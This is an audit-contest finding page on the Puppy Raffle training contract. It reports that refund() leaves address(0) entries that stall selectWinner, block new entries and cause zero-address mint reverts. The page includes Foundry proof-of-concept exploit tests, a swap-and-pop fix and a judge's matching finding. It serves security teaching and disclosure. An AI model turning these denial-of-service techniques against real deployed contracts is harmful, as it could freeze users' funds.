Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

refund() leaves an address(0) hole in players[] that breaks prize accounting, duplicate-check, and winner minting

comphygxp

Root + Impact

Description

  • refund() sets players[playerIndex] = address(0) but never shrinks players.length. That address(0) "hole" is then mishandled by three separate downstream code paths, and any single, ordinary, spec-compliant refund() call is enough to trigger all three - no attacker sophistication required.

  • (a) Prize accounting breaks: selectWinner() computes totalAmountCollected = players.length * entranceFee, which never subtracts refunded principal. After even one refund, the contract's real ETH balance is lower than what this formula expects, so the 80% payout call fails and selectWinner() reverts unconditionally for the rest of that round.

  • (b) Duplicate-check breaks: once two or more address(0) holes exist, enterRaffle()'s O(n^2) dedup loop compares them to each other, finds them equal, and reverts "Duplicate player" - blocking brand-new, never-before-seen addresses (and even empty, zero-value calls) from entering.

  • (c) Zero-address mint: the deterministic winnerIndex formula can land on a refunded hole. The ETH transfer to address(0) silently succeeds, but the following _safeMint(address(0), tokenId) reverts inside OpenZeppelin (ERC721: mint to the zero address), rolling back the whole round (including the delete players that would have cleared the hole).

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1 // A single, completely ordinary refund() call by any normal player (exactly as documented: "Users are allowed to get a refund of their ticket & value") is sufficient to trigger bug (a). No malicious intent or special role is required.

  • Reason 2 // Two ordinary refunds trigger bug (b); the same single-hole state from bug (a) can independently cause bug (c) with no extra precondition beyond a normal caller choosing when to call selectWinner().

Impact:

  • Impact 1 // selectWinner() becomes permanently stuck for the round (full denial of service on the core prize-drawing function), with funds frozen in the contract and no rescue path.

  • Impact 2 // enterRaffle() can be fully blocked for legitimate, unique new entrants for the rest of the round.

Proof of Concept

Ran with forge test --match-path "test/PoC_1.t.sol" -vv: all 3 tests PASS - testExploit_RefundBreaksPrizeAccounting_BricksSelectWinner, testExploit_TwoRefundHoles_PermanentlyBricksEnterRaffle, testExploit_RefundHoleCanCauseZeroAddressMintRevert. Each isolates one of the three sub-mechanisms (a)/(b)/(c) described above, with test (c) specifically proving the contract's real ETH balance is sufficient (assertGe check) so that failure is isolated from bug (a).

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PoC_1 is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
address playerOne = address(0x1001);
address playerTwo = address(0x1002);
address playerThree = address(0x1003);
address playerFour = address(0x1004);
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
vm.deal(playerOne, 10 ether);
vm.deal(playerTwo, 10 ether);
vm.deal(playerThree, 10 ether);
vm.deal(playerFour, 10 ether);
}
​
function testExploit_RefundBreaksPrizeAccounting_BricksSelectWinner() public {
address[] memory entrants = new address[](4);
entrants[0] = playerOne;
entrants[1] = playerTwo;
entrants[2] = playerThree;
entrants[3] = playerFour;
vm.prank(playerOne);
puppyRaffle.enterRaffle{value: entranceFee * 4}(entrants);
​
assertEq(address(puppyRaffle).balance, entranceFee * 4);
​
uint256 idx = puppyRaffle.getActivePlayerIndex(playerOne);
vm.prank(playerOne);
puppyRaffle.refund(idx);
​
assertEq(address(puppyRaffle).balance, entranceFee * 3);
​
vm.warp(block.timestamp + duration + 1);
​
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
}
​
function testExploit_TwoRefundHoles_PermanentlyBricksEnterRaffle() public {
address[] memory entrants = new address[](4);
entrants[0] = playerOne;
entrants[1] = playerTwo;
entrants[2] = playerThree;
entrants[3] = playerFour;
vm.prank(playerOne);
puppyRaffle.enterRaffle{value: entranceFee * 4}(entrants);
​
uint256 idx0 = puppyRaffle.getActivePlayerIndex(playerOne);
vm.prank(playerOne);
puppyRaffle.refund(idx0);
​
uint256 idx1 = puppyRaffle.getActivePlayerIndex(playerTwo);
vm.prank(playerTwo);
puppyRaffle.refund(idx1);
​
address newPlayer = address(0x2001);
vm.deal(newPlayer, 10 ether);
address[] memory newEntrants = new address[](1);
newEntrants[0] = newPlayer;
​
vm.prank(newPlayer);
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee}(newEntrants);
​
address[] memory empty = new address[](0);
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: 0}(empty);
}
​
function testExploit_RefundHoleCanCauseZeroAddressMintRevert() public {
uint256 n = 10;
address[] memory entrants = new address[](n);
for (uint256 i = 0; i < n; i++) {
address p = address(uint160(0x3000 + i));
vm.deal(p, 10 ether);
entrants[i] = p;
}
vm.prank(entrants[0]);
puppyRaffle.enterRaffle{value: entranceFee * n}(entrants);
​
uint256 idx0 = puppyRaffle.getActivePlayerIndex(entrants[0]);
vm.prank(entrants[0]);
puppyRaffle.refund(idx0);
​
assertEq(address(puppyRaffle).balance, entranceFee * 9);
assertGe(address(puppyRaffle).balance, (entranceFee * n * 80) / 100);
​
vm.warp(block.timestamp + duration + 1);
​
address chosenSender;
bool found = false;
for (uint256 i = 1; i < 500; i++) {
address candidate = address(uint160(i));
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))) % n;
if (winnerIndex == 0) {
chosenSender = candidate;
found = true;
break;
}
}
require(found, "could not find a sender hitting the hole in search range");
​
vm.prank(chosenSender);
vm.expectRevert("ERC721: mint to the zero address");
puppyRaffle.selectWinner();
}
}

Recommended Mitigation

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = players[players.length - 1];
+ players.pop();
emit RaffleRefunded(playerAddress);
}

Swap-and-pop keeps players.length equal to the true active-player count at all times, so the accounting, duplicate-check, and winner-selection logic never has to special-case a hole. (Order of players does not matter for this contract's logic.) Combine with fixing the reentrancy in the same function (see separate finding).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

## Description `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player. ## Vulnerability Details ```javascript players[playerIndex] = address(0); @> uint256 totalAmountCollected = players.length * entranceFee; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId); ``` If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has : ```javascript uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); ``` However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% ...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed. ```javascript _safeMint(winner, tokenId); ``` ## Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high ### Proof of concept To execute this test : forge test --mt testWinnerSelectionRevertsAfterExit -vvvv ```javascript function testWinnerSelectionRevertsAfterExit() public playersEntered { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); // There are four winners. Winner is last slot vm.prank(playerFour); puppyRaffle.refund(3); // reverts because out of Funds vm.expectRevert(); puppyRaffle.selectWinner(); vm.deal(address(puppyRaffle), 10 ether); vm.expectRevert("ERC721: mint to the zero address"); puppyRaffle.selectWinner(); } ``` ## Recommendations Delete the player index that has refunded. ```diff - players[playerIndex] = address(0); + players[playerIndex] = players[players.length - 1]; + players.pop() ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!